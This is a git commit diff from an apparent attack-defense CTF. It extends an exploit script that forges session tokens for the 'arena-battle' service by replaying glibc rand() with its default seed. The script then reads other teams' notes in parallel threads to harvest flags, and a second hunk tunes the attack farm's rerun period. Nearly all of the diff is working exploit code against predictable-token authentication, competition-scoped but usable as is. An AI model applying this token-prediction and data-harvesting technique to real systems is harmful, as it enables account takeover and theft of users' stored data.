sploit for arena-battle 2
This commit is contained in:
+105
-14
@@ -16,24 +16,41 @@ which is where the checker stores flags.
|
|||||||
fighters exist)
|
fighters exist)
|
||||||
NOTE_GET <token> -> list note ids + titles
|
NOTE_GET <token> -> list note ids + titles
|
||||||
NOTE_GET <token> <note_id> -> title + content
|
NOTE_GET <token> <note_id> -> title + content
|
||||||
|
|
||||||
|
Fighter ids come from ForcAD attack data when it is reachable (exact, cheap);
|
||||||
|
otherwise we sweep back over the most recent ids.
|
||||||
|
|
||||||
|
Env overrides: ARENA_PORT, ARENA_LOOKBACK, ARENA_BUDGET, ATTACK_DATA_URL.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import random
|
||||||
import re
|
import re
|
||||||
import socket
|
import socket
|
||||||
import sys
|
|
||||||
import random
|
|
||||||
import string
|
import string
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import urllib.request
|
||||||
from concurrent.futures import ThreadPoolExecutor
|
from concurrent.futures import ThreadPoolExecutor
|
||||||
|
|
||||||
PORT = 1337
|
PORT = int(os.environ.get("ARENA_PORT", 1337))
|
||||||
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
||||||
|
|
||||||
|
# Round is 30s and a flag lives 10 rounds (5 min), so stay well inside one round.
|
||||||
|
TIME_BUDGET = float(os.environ.get("ARENA_BUDGET", 20.0))
|
||||||
TIMEOUT = 4.0
|
TIMEOUT = 4.0
|
||||||
LOOKBACK = 70 # how many recent fighters to raid
|
LOOKBACK = int(os.environ.get("ARENA_LOOKBACK", 200))
|
||||||
INDEX_OFFSETS = (0, -1, 1, -2, 2) # rand()/id drift from concurrent REGISTERs
|
INDEX_OFFSETS = (0, -1, 1, -2, 2) # rand()/id drift from concurrent REGISTERs
|
||||||
THREADS = 10
|
THREADS = 10
|
||||||
RECONNECT_AFTER = 12 # some boxes drop a connection after N bad tokens
|
RECONNECT_AFTER = 12 # some boxes drop a connection after N bad tokens
|
||||||
|
|
||||||
|
ATTACK_DATA_URL = os.environ.get(
|
||||||
|
"ATTACK_DATA_URL", "http://10.10.10.253:80/api/client/attack_data")
|
||||||
|
SERVICE_HINTS = ("arena", "battle")
|
||||||
|
|
||||||
|
TOKEN_RX = re.compile(r"token_\d+_\d+")
|
||||||
|
|
||||||
|
|
||||||
# --------------------------------------------------------------------------
|
# --------------------------------------------------------------------------
|
||||||
# glibc TYPE_3 rand(), default seed 1
|
# glibc TYPE_3 rand(), default seed 1
|
||||||
@@ -91,6 +108,62 @@ def rand_name(n=8):
|
|||||||
return "".join(random.choice(string.ascii_lowercase) for _ in range(n))
|
return "".join(random.choice(string.ascii_lowercase) for _ in range(n))
|
||||||
|
|
||||||
|
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
# ForcAD attack data -> fighter ids / ready-made tokens
|
||||||
|
# --------------------------------------------------------------------------
|
||||||
|
def _harvest(obj, ids, tokens):
|
||||||
|
"""Walk an arbitrary attack-data blob picking out ids and tokens."""
|
||||||
|
if isinstance(obj, dict):
|
||||||
|
for v in obj.values():
|
||||||
|
_harvest(v, ids, tokens)
|
||||||
|
elif isinstance(obj, (list, tuple)):
|
||||||
|
for v in obj:
|
||||||
|
_harvest(v, ids, tokens)
|
||||||
|
elif isinstance(obj, bool):
|
||||||
|
pass
|
||||||
|
elif isinstance(obj, int):
|
||||||
|
if 0 < obj < 10 ** 7:
|
||||||
|
ids.add(obj)
|
||||||
|
elif isinstance(obj, str):
|
||||||
|
tokens.update(TOKEN_RX.findall(obj))
|
||||||
|
if obj.isdigit() and 0 < int(obj) < 10 ** 7:
|
||||||
|
ids.add(int(obj))
|
||||||
|
|
||||||
|
|
||||||
|
def attack_data(target_ip):
|
||||||
|
"""Returns (fighter_ids, ready_tokens) published for this target."""
|
||||||
|
ids, tokens = set(), set()
|
||||||
|
try:
|
||||||
|
with urllib.request.urlopen(ATTACK_DATA_URL, timeout=3) as r:
|
||||||
|
data = json.loads(r.read().decode("utf-8", "replace"))
|
||||||
|
except Exception as e:
|
||||||
|
print("[*] no attack data (%s)" % e, file=sys.stderr, flush=True)
|
||||||
|
return ids, tokens
|
||||||
|
|
||||||
|
# {"service": {"ip": [...]}} / {"ip": {...}} / {"team_id": {...}}
|
||||||
|
team_id = target_ip.rsplit(".", 1)[-1]
|
||||||
|
scoped = []
|
||||||
|
|
||||||
|
def scope(node):
|
||||||
|
if not isinstance(node, dict):
|
||||||
|
return
|
||||||
|
for key, val in node.items():
|
||||||
|
k = str(key)
|
||||||
|
if k == target_ip or k == team_id:
|
||||||
|
scoped.append(val)
|
||||||
|
elif any(h in k.lower() for h in SERVICE_HINTS):
|
||||||
|
scope(val) if isinstance(val, dict) else scoped.append(val)
|
||||||
|
|
||||||
|
scope(data)
|
||||||
|
for node in scoped:
|
||||||
|
_harvest(node, ids, tokens)
|
||||||
|
|
||||||
|
if scoped:
|
||||||
|
print("[*] attack data: %d ids, %d tokens" % (len(ids), len(tokens)),
|
||||||
|
file=sys.stderr, flush=True)
|
||||||
|
return ids, tokens
|
||||||
|
|
||||||
|
|
||||||
def probe_max_id(ip):
|
def probe_max_id(ip):
|
||||||
"""Register a throwaway fighter; its id == number of fighters created."""
|
"""Register a throwaway fighter; its id == number of fighters created."""
|
||||||
with Arena(ip) as a:
|
with Arena(ip) as a:
|
||||||
@@ -98,16 +171,16 @@ def probe_max_id(ip):
|
|||||||
m = re.search(r"Registered fighter (\d+)\b", resp)
|
m = re.search(r"Registered fighter (\d+)\b", resp)
|
||||||
if not m:
|
if not m:
|
||||||
raise RuntimeError("unexpected REGISTER reply: %r" % resp)
|
raise RuntimeError("unexpected REGISTER reply: %r" % resp)
|
||||||
fid = int(m.group(1))
|
|
||||||
tok = re.search(r"TOKEN:(\S+)", resp)
|
tok = re.search(r"TOKEN:(\S+)", resp)
|
||||||
return fid, (tok.group(1) if tok else None)
|
return int(m.group(1)), (tok.group(1) if tok else None)
|
||||||
|
|
||||||
|
|
||||||
class Raider:
|
class Raider:
|
||||||
"""Walks a list of candidate tokens over one reused connection."""
|
"""Walks a list of candidate tokens over one reused connection."""
|
||||||
|
|
||||||
def __init__(self, ip):
|
def __init__(self, ip, deadline):
|
||||||
self.ip = ip
|
self.ip = ip
|
||||||
|
self.deadline = deadline
|
||||||
self.conn = None
|
self.conn = None
|
||||||
self.since_reconnect = 0
|
self.since_reconnect = 0
|
||||||
|
|
||||||
@@ -142,6 +215,8 @@ class Raider:
|
|||||||
self.since_reconnect = 0 # good token, keep the socket
|
self.since_reconnect = 0 # good token, keep the socket
|
||||||
flags.update(FLAG_RX.findall(listing)) # flag may be the title
|
flags.update(FLAG_RX.findall(listing)) # flag may be the title
|
||||||
for nid in re.findall(r"(?:^|\s)(\d+):", listing)[:40]:
|
for nid in re.findall(r"(?:^|\s)(\d+):", listing)[:40]:
|
||||||
|
if time.monotonic() > self.deadline:
|
||||||
|
break
|
||||||
flags.update(FLAG_RX.findall(self._cmd("NOTE_GET %s %s" % (token, nid))))
|
flags.update(FLAG_RX.findall(self._cmd("NOTE_GET %s %s" % (token, nid))))
|
||||||
return flags
|
return flags
|
||||||
|
|
||||||
@@ -149,6 +224,8 @@ class Raider:
|
|||||||
flags = set()
|
flags = set()
|
||||||
try:
|
try:
|
||||||
for tok in tokens:
|
for tok in tokens:
|
||||||
|
if time.monotonic() > self.deadline:
|
||||||
|
break
|
||||||
try:
|
try:
|
||||||
flags.update(self.raid(tok))
|
flags.update(self.raid(tok))
|
||||||
except Exception:
|
except Exception:
|
||||||
@@ -159,13 +236,16 @@ class Raider:
|
|||||||
|
|
||||||
|
|
||||||
def exploit(target_ip):
|
def exploit(target_ip):
|
||||||
|
deadline = time.monotonic() + TIME_BUDGET
|
||||||
flags = set()
|
flags = set()
|
||||||
|
|
||||||
|
known_ids, ready_tokens = attack_data(target_ip)
|
||||||
|
|
||||||
max_id, my_token = probe_max_id(target_ip)
|
max_id, my_token = probe_max_id(target_ip)
|
||||||
print("[*] %s: current fighter id = %d (token %s)" % (target_ip, max_id, my_token),
|
print("[*] %s: current fighter id = %d (token %s)" % (target_ip, max_id, my_token),
|
||||||
file=sys.stderr, flush=True)
|
file=sys.stderr, flush=True)
|
||||||
|
|
||||||
seq = glibc_rand_seq(1, max_id + 64)
|
seq = glibc_rand_seq(1, max(max_id, max(known_ids) if known_ids else 0) + 64)
|
||||||
|
|
||||||
# sanity check: our own token should be seq[max_id - 1] on an unpatched box
|
# sanity check: our own token should be seq[max_id - 1] on an unpatched box
|
||||||
if my_token:
|
if my_token:
|
||||||
@@ -175,25 +255,36 @@ def exploit(target_ip):
|
|||||||
"patched or rand() drifted" % (target_ip, my_token, expected),
|
"patched or rand() drifted" % (target_ip, my_token, expected),
|
||||||
file=sys.stderr, flush=True)
|
file=sys.stderr, flush=True)
|
||||||
|
|
||||||
# candidate tokens for the most recent fighters (they hold the live flags)
|
# Ordered by confidence: attack-data tokens, attack-data ids, then a sweep
|
||||||
candidates = []
|
# back over the most recent fighters (a flag lives 10 rounds / 5 min).
|
||||||
low = max(1, max_id - LOOKBACK)
|
candidates = list(ready_tokens)
|
||||||
for fid in range(max_id - 1, low - 1, -1):
|
|
||||||
|
def add_id(fid):
|
||||||
for off in INDEX_OFFSETS:
|
for off in INDEX_OFFSETS:
|
||||||
idx = fid - 1 + off
|
idx = fid - 1 + off
|
||||||
if 0 <= idx < len(seq):
|
if 0 <= idx < len(seq):
|
||||||
candidates.append("token_%d_%d" % (fid, seq[idx]))
|
candidates.append("token_%d_%d" % (fid, seq[idx]))
|
||||||
|
|
||||||
|
for fid in sorted(known_ids, reverse=True):
|
||||||
|
add_id(fid)
|
||||||
|
for fid in range(max_id - 1, max(1, max_id - LOOKBACK) - 1, -1):
|
||||||
|
add_id(fid)
|
||||||
|
|
||||||
|
seen = set()
|
||||||
|
candidates = [t for t in candidates if not (t in seen or seen.add(t))]
|
||||||
|
|
||||||
chunks = [candidates[i::THREADS] for i in range(THREADS)]
|
chunks = [candidates[i::THREADS] for i in range(THREADS)]
|
||||||
|
|
||||||
def work(chunk):
|
def work(chunk):
|
||||||
return Raider(target_ip).run(chunk)
|
return Raider(target_ip, deadline).run(chunk)
|
||||||
|
|
||||||
with ThreadPoolExecutor(max_workers=THREADS) as pool:
|
with ThreadPoolExecutor(max_workers=THREADS) as pool:
|
||||||
for got in pool.map(work, [c for c in chunks if c]):
|
for got in pool.map(work, [c for c in chunks if c]):
|
||||||
flags.update(got)
|
flags.update(got)
|
||||||
|
|
||||||
print("[*] %s: %d flags" % (target_ip, len(flags)), file=sys.stderr, flush=True)
|
print("[*] %s: %d flags in %.1fs" % (target_ip, len(flags),
|
||||||
|
TIME_BUDGET - (deadline - time.monotonic())),
|
||||||
|
file=sys.stderr, flush=True)
|
||||||
return flags
|
return flags
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -91,7 +91,7 @@ def parse_args():
|
|||||||
help='Maximal number of concurrent sploit instances. '
|
help='Maximal number of concurrent sploit instances. '
|
||||||
'Too little value will make time limits for sploits smaller, '
|
'Too little value will make time limits for sploits smaller, '
|
||||||
'too big will eat all RAM on your computer')
|
'too big will eat all RAM on your computer')
|
||||||
parser.add_argument('--attack-period', metavar='N', type=float, default=55,
|
parser.add_argument('--attack-period', metavar='N', type=float, default=30,
|
||||||
help='Rerun the sploit on all teams each N seconds '
|
help='Rerun the sploit on all teams each N seconds '
|
||||||
'Too little value will make time limits for sploits smaller, '
|
'Too little value will make time limits for sploits smaller, '
|
||||||
'too big will miss flags from some rounds')
|
'too big will miss flags from some rounds')
|
||||||
|
|||||||
Reference in New Issue
Block a user